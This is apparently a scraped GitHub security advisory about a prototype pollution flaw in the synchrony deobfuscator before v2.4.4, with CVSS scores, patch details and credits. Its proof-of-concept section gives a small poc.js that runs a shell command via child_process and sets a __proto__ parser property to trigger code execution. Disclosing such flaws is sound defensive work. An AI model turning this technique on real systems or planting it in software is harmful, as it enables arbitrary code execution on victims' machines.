Lucene search

K
githubGitHub Advisory DatabaseGHSA-JG82-XH3W-RHXX
HistoryOct 18, 2023 - 6:27 p.m.

Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution

2023-10-1818:27:13
CWE-1321
GitHub Advisory Database
github.com
26
v2.4.4 fix
literalmap transformer
node.js
prettier module
disable-proto flag
proof of concept
william khem-marquez

CVSS3

8.1

Attack Vector

LOCAL

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

EPSS

0

Percentile

9.8%

Impact

A __proto__ pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.

Summary

A __proto__ pollution vulnerability exists in the LiteralMap transformer allowing crafted input to modify properties in the Object prototype.

When executing in Node.js, due to use of the prettier module, defining a parser property on __proto__ with a path to a JS module on disk causes a require of the value which can lead to arbitrary code execution.

Patch

A fix has been released in [email protected].

Mitigation

Proof of Concept

Craft a malicious input file named poc.js as follows:

// Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console.
console.log(require('child_process').execSync('dir').toString())

// Synchrony exploit PoC
{
  var __proto__ = { parser: 'poc.js' }
}

Then, run synchrony poc.js from the same directory as the malicious file.

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

Affected configurations

Vulners
Node
deobfuscatorRange<2.4.4
VendorProductVersionCPE
*deobfuscator*cpe:2.3:a:*:deobfuscator:*:*:*:*:*:*:*:*

CVSS3

8.1

Attack Vector

LOCAL

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

EPSS

0

Percentile

9.8%